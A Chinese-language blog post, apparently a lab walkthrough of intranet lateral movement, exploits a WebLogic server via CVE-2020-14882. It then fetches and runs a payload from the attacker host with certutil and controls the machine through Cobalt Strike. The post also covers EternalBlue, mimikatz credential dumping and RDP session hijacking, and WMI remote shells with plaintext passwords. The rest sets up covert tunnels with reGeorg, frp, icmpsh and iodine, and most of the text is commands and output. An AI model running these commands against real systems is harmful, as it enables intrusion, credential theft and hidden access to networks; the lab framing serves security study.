公司要求出一个文档根据mitre att&ack框架出一个文档,实现记录内网横向里的一些操作,顺便我就把这些操作写到博客里了

内网横向

靶机:windwos server 2016 + weblogic 12.2.1.3.0 + jdk-8u181-windows-x64

攻击机攻击:github 上exphub项目 + cobalt strike

复现:powershell 反弹shell,控制windows 主机

攻击流程

  1. 信息收集 nmap 扫描靶机端口
    nmap -sS -Pn -p 1433,445,135,5985,3389,22,1521,3306,6379,5432,389,25,110,143,443,5900,21,873,27017,23,3690,1099,5984,5632,80-100,7000-10000,13389,13306,11433,18080 -n --open --min-hostgroup 1024 --min-parallelism 1024 --host-timeout 30 -T4 -iL ips.txt -v -oN save.txt

  1. 攻击流程

    使用exphub exp进行攻击 项目地址:https://github.com/zhzyker/exphub

   C:\Users\Y\Desktop\exphub-master\weblogic>python cve-2020-14882_rce.py -u http://192.168.160.100:7001 -c whoami
   win-dhar14ir74d\administrator

使用cobalt strike 生成powershell command文件

将该文件部署至linux 使用Python搭建http服务

   root@kali:~# python3 -m http.server
   Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
   192.168.160.12 - - [06/Sep/2021 03:12:20] "GET / HTTP/1.1" 200 -
   192.168.160.12 - - [06/Sep/2021 03:20:02] "GET / HTTP/1.1" 200 -
   192.168.160.12 - - [06/Sep/2021 03:20:05] "GET /shell.ps1 HTTP/1.1" 200 -
   192.168.160.100 - - [06/Sep/2021 03:23:04] "GET /shell.ps1 HTTP/1.1" 200 -

使用cerutil进行上线

   >python cve-2020-14882_rce.py -u http://192.168.160.100:7001/ -c "certutil -urlcache -split -f http://192.168.160.213:8000/payload.txt&ren payload.txt 1.bat&1.bat"

远程漏洞利用

MS17_010

首先msf扫描

使用攻击模块

 use exploit/windows/smb/ms17_010_eternalblue

内网信息收集

beacon> shell whoami /all && query user
[*] Tasked beacon to run: whoami /all && query user
[+] host called home, sent: 56 bytes
[+] received output:
(ARP) Target 'null-255.255.255.255' is alive. 00-0C-29-74-72-48
Scanner module is complete

[+] received output:

用户信息
----------------

用户名                        SID                                       
============================= ==========================================
win-dhar14ir74d\administrator S-1-5-21-784146349-341373425-328032986-500

组信息
-----------------

组名                                 类型   SID          属性                                      
==================================== ====== ============ ==========================================
Everyone                             已知组 S-1-1-0      必需的组, 启用于默认, 启用的组            
NT AUTHORITY\本地帐户和管理员组成员  已知组 S-1-5-114    必需的组, 启用于默认, 启用的组            
BUILTIN\Administrators               别名   S-1-5-32-544 必需的组, 启用于默认, 启用的组, 组的所有者
BUILTIN\Users                        别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组            
NT AUTHORITY\INTERACTIVE             已知组 S-1-5-4      必需的组, 启用于默认, 启用的组            
CONSOLE LOGON                        已知组 S-1-2-1      必需的组, 启用于默认, 启用的组            
NT AUTHORITY\Authenticated Users     已知组 S-1-5-11     必需的组, 启用于默认, 启用的组            
NT AUTHORITY\This Organization       已知组 S-1-5-15     必需的组, 启用于默认, 启用的组            
NT AUTHORITY\本地帐户                已知组 S-1-5-113    必需的组, 启用于默认, 启用的组            
LOCAL                                已知组 S-1-2-0      必需的组, 启用于默认, 启用的组            
NT AUTHORITY\NTLM Authentication     已知组 S-1-5-64-10  必需的组, 启用于默认, 启用的组            
Mandatory Label\High Mandatory Level 标签   S-1-16-12288                                           

特权信息
----------------------

特权名                                    描述                               状态  
========================================= ================================== ======
SeIncreaseQuotaPrivilege                  为进程调整内存配额                 已禁用
SeSecurityPrivilege                       管理审核和安全日志                 已禁用
SeTakeOwnershipPrivilege                  取得文件或其他对象的所有权         已禁用
SeLoadDriverPrivilege                     加载和卸载设备驱动程序             已禁用
SeSystemProfilePrivilege                  配置文件系统性能                   已禁用
SeSystemtimePrivilege                     更改系统时间                       已禁用
SeProfileSingleProcessPrivilege           配置文件单一进程                   已禁用
SeIncreaseBasePriorityPrivilege           提高计划优先级                     已禁用
SeCreatePagefilePrivilege                 创建一个页面文件                   已禁用
SeBackupPrivilege                         备份文件和目录                     已禁用
SeRestorePrivilege                        还原文件和目录                     已禁用
SeShutdownPrivilege                       关闭系统                           已禁用
SeDebugPrivilege                          调试程序                           已启用
SeSystemEnvironmentPrivilege              修改固件环境值                     已禁用
SeChangeNotifyPrivilege                   绕过遍历检查                       已启用
SeRemoteShutdownPrivilege                 从远程系统强制关机                 已禁用
SeUndockPrivilege                         从扩展坞上取下计算机               已禁用
SeManageVolumePrivilege                   执行卷维护任务                     已禁用
SeImpersonatePrivilege                    身份验证后模拟客户端               已启用
SeCreateGlobalPrivilege                   创建全局对象                       已启用
SeIncreaseWorkingSetPrivilege             增加进程工作集                     已禁用
SeTimeZonePrivilege                       更改时区                           已禁用
SeCreateSymbolicLinkPrivilege             创建符号链接                       已禁用
SeDelegateSessionUserImpersonatePrivilege 获取同一会话中另一个用户的模拟令牌 已禁用

 用户名                会话名             ID  状态    空闲时间   登录时间
>administrator         console             1  运行中      无     2021/9/6 9:14

网络信息收集

 shell ipconfig /all && netstat -ano && arp -a

RDP会话劫持

可使用的可用会话列表可以在Windows任务管理器中的“Users“选项卡中查看。

使用mimikatz 进行RDP会话劫持

第一步是检索终端服务会话列表。

ts::sessions

ts::remote /id:1

privilege::debug

token::elevate

再次执行 就可以劫持会话

ts::remote /id:1

哈希传递

首先 通过cs的mimikatz模块获取NTML哈希值

privilege::debug
sekurlsa::logonpasswords

横向传输工具

wmihacker

项目地址

  • 交互式shell

    cscript WMICHAKER_0.6.vbs /shell 172.16.253.1 administrator "qwe123@Q"
  • 文件传输

    • 文件上传
    cscript wmihacker_0.4.vbs /upload  172.16.253.1 administrator "qwe123@Q" "C:\windows\system32\calc.exe" "C:\calc"
    • 文件下载
    cscript wmihacker_0.4.vbs /download  172.16.253.1 administrator "qwe123@Q" "C:\calc" "C:\windows\system32\calc.exe" 

命令与控制

内网穿透

sockets5代理

reGeorg+Proxifier

项目地址

首先通过漏洞将tunle.jsp文件传输到tomcat的webapp目录下

访问该jsp

reGeorg是用python2编写的 使用python3 可能会不兼容

python2 .\reGeorgSocksProxy.py -p 1080 -u http://192.168.160.128:8080/tunnel.jsp

执行该命令

使用 Proxifier做代理

添加代理

会自动生成代理规则

可以成功访问内网的web环境

telnet域控

frp+Proxifier

项目地址

frp分为客户端和服务端 文件如下

C:\USERS\Y\DESKTOP\FRP_0.37.1_WINDOWS_AMD64
│  frpc.exe
│  frpc.ini
│  frpc_full.ini
│  frps.exe
│  frps.ini
│  frps_full.ini
│  LICENSE
│
└─systemd
        frpc.service
        frpc@.service
        frps.service
        frps@.service

frps.exe是服务端 frps.ini是服务端的配置文件

服务端配置如下

[common]
bind_addr = 0.0.0.0 #绑定ip0.0.0.0
bind_port = 7000

dashboard_user = admin     #访问用户
dashboard_pwd = password    # dashboard_pwd访问密码

frpc.exe是客户端 frpc.ini是客户端的配置文件

客户端配置如下

server_addr = 192.168.160.12 #服务端IP
server_port = 7000 #服务端绑定的端口

[socks5]
type = tcp
remote_port = 10086 #随便使用一个未被占用的端口即可
plugin = socks5
plugin_user = admin  #服务端设置的登陆用户名   
plugin_passwd = password #服务端设置的登陆密码

然后在目标靶机上 cmd运行

./frps.exe -c frps.ini

攻击机执行命令

./frpc.exe -c frpc.ini

proxifiler配置

隧道

ICMP隧道

环境:

攻击机 kali 192.168.160.213

靶机 win7: 192.168.160.128

首先先安装imcpsh

[项目地址](git clone https://github.com/inquisb/icmpsh.git)

然后在kali上运行icmpsh,但是再次之前需要修改下一些配置,禁用对ping的响应回复,防止内核对ping数据包进行响应,影响程序。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

服务端开启监听

cd imcpsh 
root@kali:~/icmpsh# python icmpsh_m.py 192.168.160.213 192.168.160.128

随后将icmpsh.exe传至靶机 执行如下命令

C:\Users\administrator.YUANEURO\Desktop\icmpsh>icmpsh.exe -t 192.168.160.213

HTTP隧道
  • 1.设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
$ python neoreg.py generate -k password

    [+] Create neoreg server files:
       => neoreg_servers/tunnel.jspx
       => neoreg_servers/tunnel_compatibility.jspx
       => neoreg_servers/tunnel.php
       => neoreg_servers/tunnel.ashx
       => neoreg_servers/tunnel.aspx
       => neoreg_servers/tunnel.jsp
       => neoreg_servers/tunnel_compatibility.jsp
  • 2.使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+
  Log Level set to [DEBUG]
  Starting socks server [127.0.0.1:1080]
  Tunnel at:
    http://xx/tunnel.php
+------------------------------------------------------------------------+

也可以使用Proxifier进行代理 设置方法如上

DNS隧道

iodine

使用DNS隧道首先要有一个域名

首先,设置域名。在这里要尽可能使用短域名(域名越短,隧道的带宽消耗就越小)。设置A记录iodine服务器的IP地址,将NS记录指向此域名

接下来,在服务端中安装iodine。在Windows中,需要安装编译好的对应版本的iodine。在Kali Linux中,默认安装了iodine。如果使用的是基于Debian的发行版Linux,可以执行如下命令进行安装:

apt install iodine